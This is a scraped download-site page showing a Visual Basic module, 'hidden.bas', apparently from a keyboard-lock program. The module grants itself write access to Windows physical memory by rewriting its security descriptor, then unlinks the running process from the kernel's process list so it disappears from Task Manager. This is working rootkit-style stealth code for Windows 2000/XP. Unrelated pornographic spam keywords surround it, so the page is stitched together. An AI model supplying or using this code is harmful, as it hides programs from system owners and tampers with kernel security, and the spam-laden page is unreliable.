亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? hidden.bas

?? 該軟件實現(xiàn)鍵盤鎖定功能
?? BAS
字號:
Attribute VB_Name = "hidden"
'該模塊用于在任務管理器中隱藏進程
Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HANDLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4

Private Type IO_STATUS_BLOCK
    Status As Long
    Information As Long
End Type

Private Type UNICODE_STRING
    Length As Integer
    MaximumLength As Integer
    Buffer As Long
End Type

Private Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HANDLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2

Private Type OBJECT_ATTRIBUTES
    Length As Long
    RootDirectory As Long
    ObjectName As Long
    Attributes As Long
    SecurityDeor As Long
    SecurityQualityOfService As Long
End Type

Private Type ACL
    AclRevision As Byte
    Sbz1 As Byte
    AclSize As Integer
    AceCount As Integer
    Sbz2 As Integer
End Type

Private Enum ACCESS_MODE
    NOT_USED_ACCESS
    GRANT_ACCESS
    SET_ACCESS
    DENY_ACCESS
    REVOKE_ACCESS
    SET_AUDIT_SUCCESS
    SET_AUDIT_FAILURE
End Enum

Private Enum MULTIPLE_TRUSTEE_OPERATION
    NO_MULTIPLE_TRUSTEE
    TRUSTEE_IS_IMPERSONATE
End Enum

Private Enum TRUSTEE_FORM
    TRUSTEE_IS_SID
    TRUSTEE_IS_NAME
End Enum

Private Enum TRUSTEE_TYPE
    TRUSTEE_IS_UNKNOWN
    TRUSTEE_IS_USER
    TRUSTEE_IS_GROUP
End Enum

Private Type TRUSTEE
    pMultipleTrustee            As Long
    MultipleTrusteeOperation    As MULTIPLE_TRUSTEE_OPERATION
    TrusteeForm                 As TRUSTEE_FORM
    TrusteeType                 As TRUSTEE_TYPE
    ptstrName                   As String
End Type

Private Type EXPLICIT_ACCESS
    grfAccessPermissions        As Long
    grfAccessMode               As ACCESS_MODE
    grfInheritance              As Long
    TRUSTEE                     As TRUSTEE
End Type

Private Type AceArray
    List() As EXPLICIT_ACCESS
End Type

Private Enum SE_OBJECT_TYPE
    SE_UNKNOWN_OBJECT_TYPE = 0
    SE_FILE_OBJECT
    SE_SERVICE
    SE_PRINTER
    SE_REGISTRY_KEY
    SE_LMSHARE
    SE_KERNEL_OBJECT
    SE_WINDOW_OBJECT
    SE_DS_OBJECT
    SE_DS_OBJECT_ALL
    SE_PROVIDER_DEFINED_OBJECT
    SE_WMIGUID_OBJECT
End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long
                                                            
Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)
                                                        
Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type
   
Private verinfo As OSVERSIONINFO
   
Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte
Public Sub HideCurrentProcess()
'在進程列表中隱藏當前應用程序進程

    Dim thread As Long, process As Long, fw As Long, bw As Long
    Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long
    
    verinfo.dwOSVersionInfoSize = Len(verinfo)
    If (GetVersionEx(verinfo)) <> 0 Then
        If verinfo.dwPlatformId = 2 Then
            If verinfo.dwMajorVersion = 5 Then
                Select Case verinfo.dwMinorVersion
                    Case 0
                        lOffsetFlink = &HA0
                        lOffsetBlink = &HA4
                        lOffsetPID = &H9C
                    Case 1
                        lOffsetFlink = &H88
                        lOffsetBlink = &H8C
                        lOffsetPID = &H84
                End Select
            End If
        End If
    End If

    If OpenPhysicalMemory <> 0 Then
        thread = GetData(&HFFDFF124)
        process = GetData(thread + &H44)
        fw = GetData(process + lOffsetFlink)
        bw = GetData(process + lOffsetBlink)
        SetData fw + 4, bw
        SetData bw, fw
        CloseHandle g_hMPM
    End If
End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
    Dim pDacl As Long
    Dim pNewDacl As Long
    Dim pSD As Long
    Dim dwRes As Long
    Dim ea As EXPLICIT_ACCESS
    
    GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD
         
    ea.grfAccessPermissions = SECTION_MAP_WRITE
    ea.grfAccessMode = GRANT_ACCESS
    ea.grfInheritance = NO_INHERITANCE
    ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
    ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
    ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

    SetEntriesInAcl 1, ea, pDacl, pNewDacl
    
    SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
                                
CleanUp:
    LocalFree pSD
    LocalFree pNewDacl
End Sub

Private Function OpenPhysicalMemory() As Long
    Dim Status As Long
    Dim PhysmemString As UNICODE_STRING
    Dim Attributes As OBJECT_ATTRIBUTES
    
    RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
    Attributes.Length = Len(Attributes)
    Attributes.RootDirectory = 0
    Attributes.ObjectName = VarPtr(PhysmemString)
    Attributes.Attributes = 0
    Attributes.SecurityDeor = 0
    Attributes.SecurityQualityOfService = 0
    
    Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
    If Status = STATUS_ACCESS_DENIED Then
        Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
        SetPhyscialMemorySectionCanBeWrited g_hMPM
        CloseHandle g_hMPM
        Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
    End If
    
    Dim lDirectoty As Long
    verinfo.dwOSVersionInfoSize = Len(verinfo)
    If (GetVersionEx(verinfo)) <> 0 Then
        If verinfo.dwPlatformId = 2 Then
            If verinfo.dwMajorVersion = 5 Then
                Select Case verinfo.dwMinorVersion
                    Case 0
                        lDirectoty = &H30000
                    Case 1
                        lDirectoty = &H39000
                End Select
            End If
        End If
    End If
    
    If Status = 0 Then
        g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
        If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
    End If
End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
    Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
    Dim lTemp As Long
    
    VAddr = addr
    CopyMemory aByte(0), VAddr, 4
    lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))
    
    PGDE = BaseAddress + lTemp * 4
    CopyMemory PGDE, ByVal PGDE, 4
    
    If (PGDE And 1) <> 0 Then
        lTemp = PGDE And &H80
        If lTemp <> 0 Then
            PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
        Else
            PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
            lTemp = (VAddr And &H3FF000) / (2 ^ 12)
            PTE = PGDE + lTemp * 4
            CopyMemory PTE, ByVal PTE, 4
            
            If (PTE And 1) <> 0 Then
                PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
                UnmapViewOfFile PGDE
            End If
        End If
    End If
    
    LinearToPhys = PAddr
End Function

Private Function GetData(addr As Long) As Long
    Dim phys As Long, tmp As Long, ret As Long
    
    phys = LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
    If tmp <> 0 Then
        ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
        CopyMemory ret, ByVal ret, 4
        
        UnmapViewOfFile tmp
        GetData = ret
    End If
End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
    Dim phys As Long, tmp As Long, x As Long
    
    phys = LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
    If tmp <> 0 Then
        x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
        CopyMemory ByVal x, data, 4
        
        UnmapViewOfFile tmp
        SetData = True
    End If
End Function

Private Function ByteArrToLong(inByte() As Byte) As Double
    Dim i As Integer
    For i = 0 To 3
        ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
    Next i
End Function



?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美性受xxxx| 不卡的av在线播放| 欧美一区永久视频免费观看| 午夜欧美大尺度福利影院在线看 | 精品久久久久一区| 久久丁香综合五月国产三级网站| 88在线观看91蜜桃国自产| 亚洲成av人片在线| 欧美一级精品大片| 久久99精品久久久久久| 久久久国产午夜精品| 波多野结衣中文字幕一区| 亚洲精品日韩一| 欧美日韩国产综合视频在线观看| 天天爽夜夜爽夜夜爽精品视频| 欧美喷潮久久久xxxxx| 久久超级碰视频| 欧美激情自拍偷拍| 色噜噜久久综合| 久久精品久久精品| 中文字幕+乱码+中文字幕一区| 色老综合老女人久久久| 奇米888四色在线精品| 国产亚洲一区二区三区四区 | 一区二区三区欧美视频| 欧美高清hd18日本| 国产福利一区在线| 一区二区在线观看免费| 日韩一区二区三区免费观看| 高清不卡在线观看| 日日夜夜精品视频天天综合网| 欧美r级电影在线观看| 99国产欧美久久久精品| 蜜桃视频免费观看一区| 国产精品久久精品日日| 91精品国产色综合久久久蜜香臀| 成人精品gif动图一区| 亚洲成人激情自拍| 国产欧美精品国产国产专区| 制服丝袜亚洲网站| 99精品在线免费| 久99久精品视频免费观看| 亚洲视频在线观看三级| 精品国产伦一区二区三区免费| 色综合色综合色综合| 狠狠狠色丁香婷婷综合久久五月| 中文字幕综合网| 久久免费看少妇高潮| 欧美日韩午夜在线| 91香蕉视频在线| 国产电影一区在线| 免费观看91视频大全| 亚洲一区二区三区小说| 亚洲自拍欧美精品| 国产欧美va欧美不卡在线| 日韩精品一区二区三区三区免费| 欧美伊人久久大香线蕉综合69| 丰满放荡岳乱妇91ww| 国内精品伊人久久久久影院对白| 亚洲一区二区三区四区五区中文| 亚洲国产精品国自产拍av| 久久一区二区视频| 日韩精品一区二区三区swag| 国产精品国产三级国产三级人妇 | 日韩电影免费在线看| 亚洲日穴在线视频| 中文成人av在线| 国产情人综合久久777777| 日韩精品在线一区| 欧美一级午夜免费电影| 欧美高清www午色夜在线视频| 欧美在线色视频| 欧美视频一区二区三区四区| 在线观看网站黄不卡| 色偷偷88欧美精品久久久| 92精品国产成人观看免费| 97精品久久久久中文字幕| 99久久伊人精品| 99re热视频精品| 99re这里只有精品6| 一本到高清视频免费精品| 色香蕉久久蜜桃| 欧美性生活大片视频| 日本高清不卡aⅴ免费网站| 色婷婷精品久久二区二区蜜臂av| 91久久一区二区| 欧亚一区二区三区| 欧美高清你懂得| 精品国产免费久久 | 成人午夜激情在线| 高清不卡在线观看| 色综合久久久久综合| 91久久精品日日躁夜夜躁欧美| 色综合久久综合网97色综合 | 国产精品乱码一区二区三区软件 | 337p日本欧洲亚洲大胆精品| 精品成a人在线观看| 国产精品久久久久四虎| 激情六月婷婷综合| 韩国女主播一区二区三区| 国产91综合网| 色94色欧美sute亚洲线路一ni | 日本精品一级二级| 在线不卡免费av| 久久亚洲精精品中文字幕早川悠里| 国产欧美日韩中文久久| 亚洲九九爱视频| 日本美女一区二区| 高清av一区二区| 91福利视频久久久久| 精品免费99久久| 中文字幕一区二区视频| 视频一区二区中文字幕| 韩国v欧美v日本v亚洲v| 色综合久久中文综合久久97 | 精品在线亚洲视频| av成人老司机| 日韩欧美国产一区在线观看| 中文av一区特黄| 日本不卡视频在线观看| 成人看片黄a免费看在线| 欧美日韩精品一区二区在线播放| 欧美不卡一二三| 一区二区高清免费观看影视大全| 91国在线观看| 精品av综合导航| 一区二区三区四区视频精品免费 | 欧美日韩不卡视频| 亚洲国产精华液网站w | 国产一区二区在线视频| 91老师片黄在线观看| 日韩欧美区一区二| 樱花影视一区二区| 国产一区二区三区黄视频| 欧美日韩一级大片网址| 国产精品成人免费精品自在线观看| 青青草国产成人av片免费| 不卡av电影在线播放| 久久青草欧美一区二区三区| 天堂午夜影视日韩欧美一区二区| 成人丝袜视频网| 久久一区二区三区四区| 日产国产欧美视频一区精品| 日本韩国精品一区二区在线观看| 久久精品人人做| 久久成人久久爱| 欧美美女激情18p| 亚洲黄色性网站| 成人午夜激情片| 国产亚洲欧美一级| 久久成人av少妇免费| 91精品婷婷国产综合久久竹菊| 国产一二精品视频| 日韩欧美自拍偷拍| 视频在线观看91| 欧美人伦禁忌dvd放荡欲情| 亚洲欧美一区二区在线观看| 国产福利91精品一区| 2023国产精品| 激情综合色播激情啊| 日韩欧美电影在线| 青青草国产成人99久久| 69p69国产精品| 日韩在线一区二区三区| 欧美喷水一区二区| 日本vs亚洲vs韩国一区三区二区| 在线电影一区二区三区| 视频一区二区三区中文字幕| 制服丝袜在线91| 日av在线不卡| 精品国产在天天线2019| 激情小说亚洲一区| 久久看人人爽人人| 国产99精品在线观看| 国产人妖乱国产精品人妖| 成人免费视频一区二区| 国产精品色在线| 99精品欧美一区二区三区小说| 亚洲国产精品高清| 91啪九色porn原创视频在线观看| 亚洲欧美偷拍卡通变态| 欧美伊人久久久久久午夜久久久久| 亚洲精品高清视频在线观看| 精品视频一区三区九区| 日本中文在线一区| 久久综合狠狠综合久久综合88 | 亚洲视频免费看| 色激情天天射综合网| 日韩精品成人一区二区三区| 欧美一级欧美一级在线播放| 精品一区二区三区免费观看| 国产欧美精品一区二区三区四区 | 国产福利一区二区三区视频 | 欧美综合在线视频| 日韩av一区二区三区| 国产亚洲欧美色| 色婷婷综合久色| 激情另类小说区图片区视频区| 国产精品嫩草影院com| 欧美亚洲综合另类|